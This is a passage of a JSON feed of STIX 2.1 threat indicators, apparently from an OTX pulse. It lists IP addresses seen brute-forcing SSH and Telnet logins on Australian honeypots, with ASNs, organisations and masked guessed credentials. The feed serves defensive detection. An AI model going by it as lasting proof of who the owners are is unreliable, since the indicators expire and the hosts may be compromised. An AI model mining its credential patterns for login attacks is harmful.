      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 23. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CN. ASN(s): 4811. Organisation(s): China Telecom Group. Usernames observed (masked): r**t. Passwords observed (masked): P***********7.",
      "id": "indicator--e9fc1e28-6caf-4726-adba-92a0a808576b",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '14.103.112.179']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 209. Organisation(s): CenturyLink Communications, LLC.",
      "id": "indicator--09435651-eb69-47ff-9d6e-167ce28db440",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '174.16.193.75']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 34. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--3fc64ec5-efcb-469b-a24b-146b63b45511",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.1.85']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 28840. Organisation(s): Pjsc tattelecom.",
      "id": "indicator--6f2faa4d-3597-4162-acaf-11929ae084bc",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.205.75.211']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 262954. Organisation(s): VirtuaServer Informatica Ltda.",
      "id": "indicator--a717da4b-cc65-428b-8320-5a45af452417",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '186.226.62.56']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 262. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: PA. ASN(s): 11556. Organisation(s): Cable & Wireless Panama. Usernames observed (masked): r**t, 3**********4, d*********r, u**********r, ***. Passwords observed (masked): w******t, 3***********4, 3**********4, !****3, 1*******@.",
      "id": "indicator--53e62bb2-ec34-4c1d-8a33-061707bc9aeb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '190.32.246.14']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 36. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--cb5a1abb-3d6f-46d1-ab86-4d29acba8c27",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '219.157.16.143']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4837. Organisation(s): CHINA UNICOM China169 Backbone.",
      "id": "indicator--aea92c4d-d55e-4c21-aa77-a97c7dfda052",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.8.160.2']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AM. ASN(s): 49800. Organisation(s): GNC-Alfa CJSC.",
      "id": "indicator--e097225f-8534-454e-80e0-2dec610708db",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '37.186.114.106']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 215. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: ID. ASN(s): 139989. Organisation(s): CV Atha Media Prima. Usernames observed (masked): r**t, d*********r, ***, 3**********4, l***x. Passwords observed (masked): w******t, 1*******/, 3***********4, 3**********4, K********@.",
      "id": "indicator--09edc926-8af8-46d8-bfbb-1f3dbd7c29e2",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.216.178.119']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--a1416931-de13-45e7-81a9-7d97cf3f0cbf",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '58.47.120.202']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MY. ASN(s): 4788. Organisation(s): TM TECHNOLOGY SERVICES SDN. BHD..",
      "id": "indicator--c88db53c-726c-4094-bf76-e0c5bc11adb3",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '60.48.97.184']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IT. ASN(s): 30722. Organisation(s): Fastweb.",
      "id": "indicator--b421da73-37af-451c-9640-813bb44211c4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.80.135.180']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T12:15:10.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: RU. ASN(s): 47562. Organisation(s): Fast Link Ltd.",
      "id": "indicator--6642aee9-fb7a-43ed-b3fc-f21304230e0e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T12:15:10.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '93.91.121.139']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T12:15:10.000Z",
      "valid_until": "2026-06-16T12:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: MA. ASN(s): 36925. Organisation(s): ASMedi.",
      "id": "indicator--412f9664-d2ec-481a-a5ac-37f7f641c6a4",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '105.188.19.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: IN. ASN(s): 24560. Organisation(s): Bharti Airtel Ltd., Telemedia Services.",
      "id": "indicator--924dc4d3-be9f-4e63-8ace-f0bdc0f400b8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '106.219.127.174']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 99. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): a***n, r**t, 1**4, i*******r, o******r. Passwords observed (masked): a***n, 0**************D, 1**4, 1***5, a****e.",
      "id": "indicator--e74c87b7-0e10-409f-94c5-4392a6378b40",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.99.170.237']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--9c20d9bd-12f3-4b80-a74b-51da5de67b6d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '171.114.228.9']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 46883. Organisation(s): Bay Country Communications, Inc..",
      "id": "indicator--6a893756-be29-4728-a890-2ce5a36cbcd6",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '199.192.89.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 146. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 7552. Organisation(s): Viettel Group. Usernames observed (masked): r**t, a***n, s*****t, c****g, ***. Passwords observed (masked): 1**4, a******3, 1***5, *, O************Z.",
      "id": "indicator--4cf0c2fd-b5c3-4744-94fe-74566e9c2e74",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '27.79.40.240']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 8. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: US. ASN(s): 197769. Organisation(s): VPS Dedicated LLC. Usernames observed (masked): a***n. Passwords observed (masked): a***n.",
      "id": "indicator--89bd266e-482b-4848-9d7b-ffca1ab9f11a",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '31.57.184.208']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: CH. ASN(s): 15169. Organisation(s): Google LLC.",
      "id": "indicator--3f333269-f9ee-4a69-b06f-2207f6d83390",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '35.216.234.82']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: KE. ASN(s): 30844. Organisation(s): Liquid Telecommunications Ltd.",
      "id": "indicator--33d09c48-58b3-4e4e-bac5-b9eb1a24d77f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '41.60.237.108']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 22. Source country: SG. ASN(s): 142594. Organisation(s): SpeedyPage Ltd.",
      "id": "indicator--0310112d-d32e-4c48-8169-b92810be19ca",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.90.147.18']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T13:15:12.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: CN. ASN(s): 4134. Organisation(s): Chinanet.",
      "id": "indicator--cf213849-638b-4124-b82d-31da7b59b525",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T13:15:12.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '59.45.231.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T13:15:12.000Z",
      "valid_until": "2026-06-16T13:15:08.000Z"
    },
    {
      "created": "2026-05-15T14:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie, Fatt. Target ports: 22, 80. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): m*****r, r**t, a***n, b****p, t*****3. Passwords observed (masked): 1****6, 9****d, P******d, m*****r, q****3.",
      "id": "indicator--5b167f9e-1d0d-494f-b233-a09bcc4418fb",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T14:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.217.235']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T14:15:38.000Z",
      "valid_until": "2026-06-16T14:15:09.000Z"
    },
    {
      "created": "2026-05-15T14:15:38.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 42. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: VN. ASN(s): 24086. Organisation(s): Viettel Corporation. Usernames observed (masked): *****, a****h, d***i, **, r**t. Passwords observed (masked): *****, a****h, d***i, p*******1, p*****e.",
      "id": "indicator--b1939aa6-99f3-4209-a989-a710fd2f02fa",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T14:15:38.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '116.110.219.215']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T14:15:38.000Z",
      "valid_until": "2026-06-16T14:15:09.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: BR. ASN(s): 14593. Organisation(s): Space Exploration Technologies Corporation.",
      "id": "indicator--5b815105-92bd-45e4-9476-b771d1c69479",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '138.84.56.228']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BR. ASN(s): 263402. Organisation(s): INFORMATICA.COM LTDA.",
      "id": "indicator--47728025-4576-4579-b975-a4d0123bd4cd",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '177.222.230.196']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: BY. ASN(s): 6697. Organisation(s): Republican Unitary Telecommunication Enterprise Beltelecom.",
      "id": "indicator--da11846a-af0d-4906-adf7-7aecafeb931d",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '178.120.128.217']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: ZA. ASN(s): 20011. Organisation(s): NTT-DATA-Inc.",
      "id": "indicator--97f6810f-353a-4076-80a1-58e5a807c297",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '196.39.132.68']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: AR. ASN(s): 265843. Organisation(s): NUBICOM S.R.L..",
      "id": "indicator--5b2add2a-7f51-4121-bb44-022cd488eeb8",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '45.224.142.162']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 12. Sensors involved: Cowrie. Target ports: 22. Source country: US. ASN(s): 36103. Organisation(s): Central Utah Telephone, Inc.. Usernames observed (masked): *, ***. Passwords observed (masked): , *.",
      "id": "indicator--d5ae1985-baf8-4d74-9f65-db657c9e298e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '63.78.118.105']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T15:15:11.000Z",
      "description": "Attacker IP - SSH / Observed authentication attempts via ssh against Cowrie/Heralding honeypots in Australia. Total events observed: 5. Sensors involved: Cowrie, Fatt. Target ports: 22. Source country: DE. ASN(s): 24940. Organisation(s): Hetzner Online GmbH.",
      "id": "indicator--fc85897a-5214-4e2c-9ea7-38e9599a05fe",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T15:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '91.98.236.136']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T15:15:11.000Z",
      "valid_until": "2026-06-16T15:15:08.000Z"
    },
    {
      "created": "2026-05-15T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 2. Sensors involved: Cowrie. Target ports: 23. Source country: US. ASN(s): 14061. Organisation(s): DigitalOcean, LLC.",
      "id": "indicator--1fae2b17-7a2e-4804-8bff-3f5796cf5a8f",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '164.90.134.74']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
      "spec_version": "2.1",
      "type": "indicator",
      "valid_from": "2026-05-15T16:15:11.000Z",
      "valid_until": "2026-06-16T16:15:08.000Z"
    },
    {
      "created": "2026-05-15T16:15:11.000Z",
      "description": "Attacker IP - Telnet / Observed authentication attempts via telnet against Cowrie/Heralding honeypots in Australia. Total events observed: 50. Sensors involved: Cowrie. Target ports: 23. Source country: PK. ASN(s): 23888. Organisation(s): National Telecommunication Corporation HQ.",
      "id": "indicator--831f5fa1-be18-43cd-a0ac-dad7d4c3e70e",
      "labels": [
        "bruteforce"
      ],
      "modified": "2026-05-15T16:15:11.000Z",
      "name": "OTX pulse_name=SSH & Telnet \u2192 Attacker IPs - Australia - May 2026",
      "pattern": "[ipv4-addr:value = '175.107.0.22']",
      "pattern_type": "stix",
      "pattern_version": "2.1",
